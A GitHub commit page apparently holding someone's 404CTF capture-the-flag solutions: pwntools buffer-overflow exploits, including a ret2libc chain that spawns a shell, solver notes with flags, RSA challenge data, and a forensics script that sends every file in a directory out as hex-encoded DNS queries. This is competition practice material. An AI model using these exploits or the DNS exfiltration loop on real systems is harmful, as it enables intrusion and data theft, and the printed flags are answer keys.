-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
e9a77df
commit 9294940
Showing
76 changed files
with
1,626 additions
and
37 deletions.
There are no files selected for viewing
Binary file renamed
BIN
+850 KB
binexploits/trop_facile/bak_compromis → binexploits/cache_cache/cache_cache
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,58 @@ | ||
#!/usr/bin/env python3 | ||
from pwn import * | ||
|
||
TEST = True | ||
|
||
context.update(arch="amd64", os="linux", endian="little", bits=64) | ||
|
||
shellcode = shellcraft.sh() | ||
|
||
#print(shellcode) | ||
#print(hexdump(asm(shellcode))) | ||
#print(len(asm(shellcode))) | ||
|
||
#exit() | ||
|
||
def craft(addr): | ||
pl = b"A" * 64 | ||
pl += cyclic(50) | ||
return pl + addr.encode() | ||
|
||
# len shellcode = 48 | ||
# len buffer = 72 (64+padding) | ||
# len ebp = 8 | ||
# nops = 72 + 8 - 48 = 32 | ||
|
||
# offset of rsp is 72 | ||
# pop rdi gadget at | ||
|
||
# 3 /bin/sh found : | ||
# 0x7ffff7f71152 in libc | ||
# 0x7ffff7fadf70 and 0x7ffff7fadf80 in my own prog | ||
|
||
# 64 / 48 | ||
def payload(addr): | ||
#pl = b"\x90" * 24 | ||
#pl += asm(shellcode) | ||
#pl += p64(int(addr, 16)) | ||
|
||
pl = b"\x90" * 72 # offset | ||
pl += p64(0x00000000004006d3) # pop rdi | ||
pl += p64(0x7ffff7f71152) # sh | ||
pl += p64(0x7ffff7e2fe50) # system | ||
print(pl) | ||
return pl | ||
|
||
def main(): | ||
if TEST: | ||
nc = process("./fragile") | ||
else: | ||
nc = remote("challenge.404ctf.fr", 31720) | ||
|
||
nc.readuntil(b"Cadeau : ") | ||
r = nc.readline() | ||
nc.sendline(payload(r)) | ||
nc.interactive() | ||
|
||
#print(cyclic_find("qaaa")) | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
``` | ||
checksec fragile | ||
'/home/syca/404CTF/binexploits/sans_protection/fragile' | ||
Arch: amd64-64-little | ||
RELRO: Partial RELRO | ||
Stack: No canary found | ||
NX: NX disabled | ||
PIE: No PIE (0x400000) | ||
RWX: Has RWX segments | ||
``` | ||
|
||
No protection whatsoever. The program gives the pointer to a char[64] buffer it created, then allows us to write whatever we want on it with no size limit. | ||
|
||
We have no function to jump to so we should just write "execve bash" or something to the segment and execute it. | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
from pwn import * | ||
|
||
TEST = False | ||
|
||
ch = p32(0xdeadbeef) | ||
ke = p32(0xcafebebe) | ||
pl = b"A" * 40 | ||
|
||
final = pl + ch + ke | ||
|
||
if TEST: | ||
nc = process("./compromis") | ||
else: | ||
nc = remote("challenge.404ctf.fr", 32458) | ||
|
||
nc.sendline(final) | ||
nc.interactive() |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
Extremement basique : 2 variables puis un buffer overflow | ||
|
||
On doit inverser la valeur des variables. | ||
On écrit un petit payload qui écrase les précédentes sur la stack, on teste en local puis on envoie ça au serveur distant et on récupère le flag | ||
|
||
`404CTF{C_7r0P_F4C113_D3_PWN_14_H411384rD3}` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
`nc challenge.404ctf.fr 32128` | ||
|
||
Le service nous donne plein d'infos. | ||
Essayer de décrypter le padding ? D'abord trouver pourquoi ce ne sont que des entiers |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
On a des données : | ||
|
||
``` | ||
Module: 264260849184973464982616810011189432725471679851535970549752992980013685427054130834600835230399904802462965456974947538318213223585436360002292504595152950137188712696208597449140460215140901426523911789537180980494972189978839047835537352914856104135490608512555869141766081593589643441958443651294711541856201978508340915671607277979591968248058399795168563294090427290234733756922544755667413890558324220843460177193246018531280862561066074120654752753002311679435459237771670352371010596105395795940209523309781850979927988566194373203050532192192865140293356042897510103979797577385050030819647066037181 | ||
Exposant: 65537 | ||
Message chiffré: 40110232492214007673187408092050413824057587648366839143339482691859337096033351102276645395275735274322548715598894335826499267358923539936373981416212599523632227239475760261528220077888121552688286380591552417803111794635687206274867498165659330678667435332328065173075710535404048653621228158847748005294255562046654937629633514846123655978199420228460405580305729253303227936760801772396770804796700223239015341586701669475537453700175448572495847377417335800300005252499067811919833639526361733535793115856365357616339193637149185654816751038389408567777725988888990153670326115611236718811592564298263 | ||
``` | ||
|
||
Apparemment le module est trop gros pour être exploitable (RSA) | ||
Essayer les courbes elliptiques ? | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
# xX_SignedArchive_Xx | ||
|
||
## File format | ||
|
||
The signed archive file format is made of a header section followed by a data section. Here is how they are made : | ||
|
||
**Header:** | ||
- Magic number (5 bytes) : `01 5A 53 69 67` | ||
- \x02 : `02` | ||
- Signature of the data (36 bytes, 0-padded, big endian) | ||
- \x03 : `03` | ||
- Size of data section (4 bytes, 0-padded, big endian) | ||
- \x04 : `04` | ||
|
||
And then put the data section. | ||
|
||
## Signature algorithm | ||
|
||
- Compute the checksum of the data section | ||
- Encrypt the checksum using the private key | ||
|
||
## Verification algorithm | ||
|
||
- Compute the checksum of the data section | ||
- Decrypt the signature using the public key | ||
- Compare the computed checksum with the decrypted signature |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,98 @@ | ||
import sys | ||
|
||
from secret import private_key | ||
|
||
# Script for signing and verifying signed archives | ||
|
||
def checksum(data: bytes) -> int: | ||
# Sum the integer value of each byte and multiply the result by the length | ||
chksum = sum(data) * len(data) | ||
|
||
return chksum | ||
|
||
|
||
def compute_signature(data: bytes, private_key: int, mod: int) -> int: | ||
# Compute the checksum | ||
chksum = checksum(data) | ||
# Sign it | ||
signature = pow(chksum, private_key, mod) | ||
|
||
return signature | ||
|
||
|
||
def check_signature(data: bytes, signature: int, mod: int) -> bool: | ||
# In our case, public key exponent is always 65537 | ||
to_check = pow(signature, 65537, mod) | ||
|
||
# Compute the actual checksum | ||
chksum = checksum(data) | ||
|
||
return chksum == to_check | ||
|
||
|
||
def sign(in_file: str, out_file: str, private_key: int, mod: int) -> None: | ||
with open(in_file, "rb") as f: | ||
data = f.read() | ||
|
||
signature = compute_signature(data, private_key, mod) | ||
signature_bytes = signature.to_bytes(300, "big") | ||
|
||
size_bytes = len(data).to_bytes(4, "big") | ||
|
||
out_bytes = b"\x01ZSig\x02" + signature_bytes + b"\x03" + size_bytes + b"\x04" + data | ||
|
||
with open(out_file, "wb+") as f: | ||
f.write(out_bytes) | ||
|
||
|
||
def verify(in_file: str, mod: int): | ||
with open(in_file, "rb") as f: | ||
magic = f.read(5) | ||
if magic != b"\x01ZSig": | ||
return False | ||
|
||
f.read(1) | ||
signature = int.from_bytes(f.read(300), "big") | ||
|
||
f.read(1) | ||
size = int.from_bytes(f.read(4), "big") | ||
|
||
f.read(1) | ||
data = f.read() | ||
|
||
if len(data) != size: | ||
return False | ||
|
||
if check_signature(data, signature, mod): | ||
return data | ||
else: | ||
return False | ||
|
||
|
||
def print_usage(): | ||
print("Usage:", file=sys.stderr) | ||
print("\t" + sys.argv[0] + " sign <input_file> <output_file>", file=sys.stderr) | ||
print("or", file=sys.stderr) | ||
print("\t" + sys.argv[0] + " run <input_file>", file=sys.stderr) | ||
exit() | ||
|
||
if __name__ == "__main__": | ||
if len(sys.argv) < 3: | ||
print_usage() | ||
|
||
mode = sys.argv[1] | ||
if mode not in ["sign", "run"]: | ||
print_usage() | ||
|
||
mod = 221027607696016055330225199730004315633371808272167570987738708218816159833989480355901373361425282092914736310694029777936753927631812865622326955729592220642870561983138852634957728096291312307092550755716648880511833062740232861937708219741536005110883882372419034097193889630562360199603238619292770230484188772936262259410362789470181350351169944338502734560511300850685040238166004812599312697863279097878240430563714732124632651690886061257136157390268372745145428925223780181129620285589838270820282051669863964181353006744093479768868790988029676360187172005933366198639891820146811651748962622102323334597 | ||
|
||
if mode == "sign" and len(sys.argv) == 4: | ||
sign(sys.argv[2], sys.argv[3], private_key, mod) | ||
elif mode == "run" and len(sys.argv) == 3: | ||
data = verify(sys.argv[2], mod) | ||
if data: | ||
exec(data.decode()) | ||
else: | ||
print("Wrong signature!", file=sys.stderr) | ||
else: | ||
print_usage() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
Brief de mission : | ||
``` | ||
Un nouveau système a été mis en place pour exécuter du code de façon sécurisée sur l'infrastructure. Il suffit d'envoyer une archive signée et encodée en base 64 pour exécuter le code Python qu'elle contient ! | ||
Vous trouverez la documentation de ce système et un exemple en pièces jointes. Tentez de voir si vous ne pourriez pas l'exploiter afin de lire le précieux fichier flag.txt | ||
``` | ||
|
||
Acces : `nc challenge.404ctf.fr 32441` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
import binascii | ||
import os | ||
import dns.resolver | ||
import time | ||
|
||
def read_file(filename): | ||
with open(filename, "rb") as f: | ||
return binascii.hexlify(f.read()) | ||
|
||
|
||
def exfiltrate_file(filename): | ||
dns.resolver.resolve("never-gonna-give-you-up.hallebarde.404ctf.fr") | ||
time.sleep(0.1) | ||
dns.resolver.resolve(binascii.hexlify(filename.encode()).decode() + ".hallebarde.404ctf.fr") | ||
content = re) | ||
time.sleep(0.1) | ||
dns.resolver.resolve("626567696E.hallebarde.404ctf.fr") | ||
time.sleep(0.1) | ||
for i in range(len(content)//32): | ||
hostname = content[i * 32: i * 32 + 32].decode() | ||
dns.resolver.resolve(hostname + ".hallebarde.404ctf.fr") | ||
time.sleep(0.1) | ||
if len(content) > (len(content)//32)*32: | ||
hostname = content[(len(content)//32)*32:].decode() | ||
dns.resolver.resolve(hostname + ".hallebarde.404ctf.fr") | ||
time.sleep(0.1) | ||
dns.resolver.resolve("656E64.hallebarde.404ctf.fr") | ||
time.sleep(60) | ||
|
||
|
||
if __name__ == "__main__": | ||
files = os.listdir() | ||
print(files) | ||
for file in files: | ||
print(file) | ||
exfiltrate_file(file) | ||
|
||
|
||
flag = """404CTF{t3l3ch4rg3m3n7_b1z4rr3}""" |
43 changes: 43 additions & 0 deletions
43
forensics/agent_compromis/exfiltration/extracted/chars.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
/CIDInit/ProcSet findresource begin | ||
12 dict begin | ||
begincmap | ||
/CIDSystemInfo<< | ||
/Registry (Adobe) | ||
/Ordering (UCS) | ||
/Supplement 0 | ||
>> def | ||
/CMapName/Adobe-Identity-UCS def | ||
/CMapType 2 def | ||
1 begincodespacerange | ||
<00> <FF> | ||
endcodespacerange | ||
24 beginbfchar | ||
<01> <0034> | ||
<02> <0030> | ||
<03> <0043> | ||
<04> <0054> | ||
<05> <0046> | ||
<06> <007B> | ||
<07> <0044> | ||
<08> <004E> | ||
<09> <0053> | ||
<0A> <005F> | ||
<0B> <0033> | ||
<0C> <0078> | ||
<0D> <0066> | ||
<0E> <0031> | ||
<0F> <006C> | ||
<10> <0074> | ||
<11> <0072> | ||
<12> <006E> | ||
<13> <0068> | ||
<14> <0061> | ||
<15> <0065> | ||
<16> <0062> | ||
<17> <0064> | ||
<18> <007D> | ||
endbfchar | ||
endcmap | ||
CMapName currentdict /CMap defineresource pop | ||
end | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
9 changes: 9 additions & 0 deletions
9
forensics/agent_compromis/exfiltration/extracted/position.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
0.1 w | ||
q 0 0.028 595.275 841.861 re | ||
W* n | ||
q 0 0 0 rg | ||
BT | ||
56.8 773.989 Td /F1 12 Tf[<0102010304>2<05>-1<06>-3<07>5<08>-2<09>-1<0A0B0C0D0E0F>2<10>2<1101>-7<10>2<0E02120A1314>1<0F>2<0F>-5<15>1<1614>1<111715>1<18>]TJ | ||
ET | ||
Q | ||
Q |
2 changes: 2 additions & 0 deletions
2
forensics/agent_compromis/exfiltration/extracted/position.zlib
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
404CTF{pas le flag, dommage :p} |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Oops, something went wrong.